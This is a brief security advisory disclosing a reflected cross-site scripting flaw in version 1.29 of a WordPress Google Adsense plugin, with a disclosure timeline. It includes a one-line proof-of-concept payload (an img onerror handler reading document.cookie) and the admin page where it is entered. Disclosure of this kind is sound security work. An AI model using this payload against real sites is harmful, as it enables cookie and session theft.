Plugin Name : Google Adsense
Effected Version : 1.29 (and most probably lower version's if any)
Vulnerability : A3-Cross-Site Scripting (XSS)
Identified by : Madhu Akula
Technical Details
Minimum Level of Access Required : Administrator
PoC - (Proof of Concept) :
http://localhost/wp-admin/admin.php?page=bws_plugins&action=system_status
In the field send to custom email put payload as -> ("><img src=x onerror=prompt(document.cookie)>)
Video Demonstration :
http://www.youtube.com/watch?v=jM0DuD-mtxk
Type of XSS : Reflected
Disclosure Timeline
Vendor Contacted : 2014-08-04
Plugin Status : Updated on 2014-08-07
Public Disclosure : October 3, 2015
CVE Number : Not assigned yet
Plugin Description :
Google AdSense Plugin creates blocks to display ads on your website. It allows to customize the ads displaying, such as format (text ad, image, text with an image or link), size, color of the elements in the ad block, rounded corners and the ad block position on the website. It provides possibility to make ads unique and original.